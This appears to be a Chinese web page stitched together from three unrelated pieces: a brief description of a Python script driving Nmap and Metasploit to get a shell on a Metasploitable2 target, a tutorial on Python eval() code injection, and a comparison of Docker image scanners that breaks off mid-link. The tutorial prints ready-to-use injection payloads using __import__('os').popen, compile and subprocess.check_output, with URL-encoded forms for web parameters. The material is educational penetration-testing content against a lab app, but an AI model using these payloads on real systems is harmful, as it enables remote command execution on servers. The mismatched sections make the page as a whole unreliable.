Python网络编程11-实现自动化漏洞探测

Python029

Python网络编程11-实现自动化漏洞探测,第1张

   本文主要实现了对网络中主机的自动化扫扫描,然后对存活的主机进行漏洞探测。

   在Kali Linux 2020上运行python脚本,网络中部署一台Metasploitable2作为靶机测试。

   通过nmap_test.py实现对网络中存活的主机进行扫描,之后再进行主机端口、系统的探测。

   通过pymsf.py调用kali中的metasploit来进行主机漏洞的探测。

   通过main.py,调用nmap_test.py,pymsf.py实现主机探测,端口探测,漏洞渗透。

   运行main脚本效果如下,在输入需要扫描的网段之后,自动开始主机探测并打印出存活的主机,完成后执行端口探测与系统探测并打印出每台主机开放的端口及端口运行的服务和主机运行的系统;最后选择可能存在的漏洞的服务进行漏洞渗透获取到Shell。

参考: GitHub - DanMcInerney/pymetasploit3: Automation library for Metasploit

如果你的Web应用中存在Python代码注入漏洞的话,攻击者就可以利用你的Web应用来向你后台服务器的Python解析器发送恶意Python代码了。这也就意味着,如果你可以在目标服务器中执行Python代码的话,你就可以通过调用服务器的操作系统的指令来实施攻击了。通过运行操作系统命令,你不仅可以对那些可以访问到的文件进行读写操作,甚至还可以启动一个远程的交互式Shell(例如nc、Metasploit和Empire)。

为了复现这个漏洞,我在最近的一次外部渗透测试过程中曾尝试去利用过这个漏洞。当时我想在网上查找一些关于这个漏洞具体应用方法的信息,但是并没有找到太多有价值的内容。在同事Charlie Worrell(@decidedlygray)的帮助下,我们成功地通过Burp POC实现了一个非交互式的shell,这也是我们这篇文章所要描述的内容。

因为除了Python之外,还有很多其他的语言(例如Perl和Ruby)也有可能出现代码注入问题,因此Python代码注入属于服务器端代码注入的一种。实际上,如果各位同学和我一样是一名CWE的关注者,那么下面这两个CWE也许可以给你提供一些有价值的参考内容:

1. CWE-94:代码生成控制不当(‘代码注入’)2. CWE-95:动态代码评估指令处理不当(‘Eval注入’)漏洞利用

假设你现在使用Burp或者其他工具发现了一个Python注入漏洞,而此时的漏洞利用Payload又如下所示:

eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那么你就可以使用下面这个Payload来在目标主机中实现操作系统指令注入了:

eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))实际上,你甚至都不需要使用for循环,直接使用全局函数“__import__”就可以了。具体代码如下所示:

eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其实我们的Payload代码还可以更加简洁,既然我们已经将import和popen写在了一个表达式里面了,那么在大多数情况下,你甚至都不需要使用compile了。具体代码如下所示:

__import__('os').popen('COMMAND').read()

为了将这个Payload发送给目标Web应用,你需要对其中的某些字符进行URL编码。为了节省大家的时间,我们在这里已经将上面所列出的Payload代码编码完成了,具体如下所示:

param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下来,我们将会给大家介绍关于这个漏洞的细节内容,并跟大家分享一个包含这个漏洞的Web应用。在文章的结尾,我将会给大家演示一款工具,这款工具是我和我的同事Charlie共同编写的,它可以明显降低你在利用这个漏洞时所花的时间。简而言之,这款工具就像sqlmap一样,可以让你快速找到SQL注入漏洞,不过这款工具仍在起步阶段,感兴趣的同学可以在项目的GitHub主页[传送门]中与我交流一下。

搭建一个包含漏洞的服务器

为了更好地给各位同学进行演示,我专门创建了一个包含漏洞的Web应用。如果你想要自己动手尝试利用这个漏洞的话,你可以点击这里获取这份Web应用。接下来,我们要配置的就是Web应用的运行环境,即通过pip或者easy_install来安装web.py。它可以作为一台独立的服务器运行,或者你也可以将它加载至包含mod_wsgi模块的Apache服务器中。相关操作指令如下所示:

git clone https://github.com/sethsec/PyCodeInjection.gitcd VulnApp

./install_requirements.sh

python PyCodeInjectionApp.py

漏洞分析

当你在网上搜索关于python的eval()函数时,几乎没有文章会提醒你这个函数是非常不安全的,而eval()函数就是导致这个Python代码注入漏洞的罪魁祸首。如果你遇到了下面这两种情况,说明你的Web应用中存在这个漏洞:

1. Web应用接受用户输入(例如GET/POST参数,cookie值)2. Web应用使用了一种不安全的方法来将用户的输入数据传递给eval()函数(没有经过安全审查,或者缺少安全保护机制)下图所示的是一份包含漏洞的示例代码:

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大家可以看到,eval()函数是上述代码中唯一一个存在问题的地方。除此之外,如果开发人员直接对用户的输入数据(序列化数据)进行拆封的话,那么Web应用中也将会出现这个漏洞。

不过需要注意的是,除了eval()函数之外,Python的exec()函数也有可能让你的Web应用中出现这个漏洞。而且据我所示,现在很多开发人员都会在Web应用中不规范地使用exec()函数,所以这个问题肯定会存在。

自动扫描漏洞

为了告诉大家如何利用漏洞来实施攻击,我通常会使用扫描器来发现一些我此前没有见过的东西。找到之后,我再想办法将毫无新意的PoC开发成一个有意义的exploit。不过我想提醒大家的是,不要过度依赖扫描工具,因为还很多东西是扫描工具也找不到的。

这个漏洞也不例外,如果你在某个Web应用中发现了这个漏洞,那么你肯定使用了某款自动化的扫描工具,比如说Burp Suite Pro。目前为止,如果不使用类似Burp Suite Pro这样的专业扫描工具,你几乎是无法发现这个漏洞的。

当你搭建好测试环境之后,启动并运行包含漏洞的示例应用。接下来,使用Burp Suite Pro来对其进行扫描。扫描结果如下图所示:

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下图显示的是Burp在扫描这个漏洞时所使用的Payload:

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我们可以看到,Burp之所以要将这个Web应用标记为“Vulnerable”(包含漏洞的),是因为当它将这个Payload发送给目标Web应用之后,服务器的Python解析器休眠了20秒,响应信息在20秒之后才成功返回。但我要提醒大家的是,这种基于时间的漏洞检查机制通常会存在一定的误报。

将PoC升级成漏洞利用代码

使用time.sleep()来验证漏洞的存在的确是一种很好的方法。接下来,为了执行操作系统指令并接收相应的输出数据,我们可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()这几个函数。当然了,应该还有很多其他的函数同样可以实现我们的目标。

因为eval()函数只能对表达式进行处理,因此Burp Suite Pro的Payload在这里使用了compile()函数,这是一种非常聪明的做法。当然了,我们也可以使用其他的方法来实现,例如使用全局函数“__import__”。关于这部分内容请查阅参考资料:[参考资料1][参考资料2]

下面这个Payload应该可以适用于绝大多数的场景:

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# Example with one expression

__import__('os').popen('COMMAND').read()

# Example with multiple expressions, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要执行一个或多个语句,那么你就需要使用eval()或者compile()函数了。实现代码如下所示:

# Examples with one expression

eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os').popen(r'COMMAND').read()import timetime.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)import timetime.sleep(2)""",'','single'))在我的测试过程中,有时全局函数“__import__”会不起作用。在这种情况下,我们就要使用for循环了。相关代码如下所示:

eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的参数是一个GET参数,那么你就可以直接在浏览器中利用这个漏洞了:

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请注意:虽然浏览器会帮你完成绝大部分的URL编码工作,但是你仍然需要对分号(%3b)和空格(%20)进行手动编码。除此之外,你也可以直接使用我们所开发的工具。

如果是POST参数的话,我建议各位直接使用类似Burp Repeater这样的工具。如下图所示,我在subprocess.check_output()函数中一次性调用了多个系统命令,即pwd、ls、-al、whoami和ping。

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漏洞利用工具-PyCodeInjectionShell

你可以直接访问PyCodeInjectionShell的GitHub主页获取工具源码,我们也提供了相应的工具使用指南。在你使用这款工具的过程中会感觉到,它跟sqlmap一样使用起来非常的简单。除此之外,它的使用方法跟sqlmap基本相同。

现在打包应用到 Docker Image 变的越来越普遍了,因此镜像的安全性也变得越来越重要了;

很多人认为只要打包成镜像应用就是安全的,但是大家也知道镜像是一个静态文件,由很多层组成,只要其中的一层发现漏洞,就会对你的应用造成威胁;

现在也出现了很多开源的漏洞扫描工具,用来扫描镜像中可能存在的漏洞,有 Anchore , Clair 和 Trivy

Anchore 是用 python 写的,主要功能就是对 Docker Image 的扫描,它是一个 CLI 工具,当然也可以通过 API 的方式调用; Anchore 也有一款带有界面的 Anchore Enterprise 版本

Anchore Github

Clair 是用 Golang 写的,主要实现了对 Docker image 的漏洞分析,用户可以调用它的 API 来扫描镜像中的漏洞

Clair Github

Trivy 也是用 Golang 写的,它不仅实现了对 Image 的扫描,还可以扫描文件,Git 仓库以及配置;它也是一个 CLI 工具,安装之后就可以通过命令实现扫描功能

Tricy Github

下面就用这三个扫描器分别对 Docker 官方统计的常用镜像扫描,扫描结果的对比如下:

Anchore 和 Clair 相比较 Trivy 出现的时间更早,但是扫描的结果发现 Trivy 能发现更多的漏洞,尤其是对 alphine 镜像;现在大部分镜像的基础镜像都会选择 alpine ,因为它更加轻量级而且漏洞相对较少

而 Anchore 和 Clair 对一些 alpine 镜像是扫描不出来漏洞的,但是使用 Trivy 却能够找到;之前部署的 Harbor 版本使用的扫描器是 Clair ,扫描 alphine 镜像之后没有发现漏洞,就认为是安全的;现在 Harbor2.0 之后是使用 Trivy 作为默认扫描器,对一些 alphine 就能够扫描出来漏洞了

Trivy 相对于其他两个来说,安装更加的简单,使用也更加的方便;并且能够支持多种类型的文件的扫描,目前也是 Harbor 默认的扫描器

参考连接:

https://boxboat.com/2020/04/24/image-scanning-tech-compared/

https://www.a10o.net/devsecops/docker-i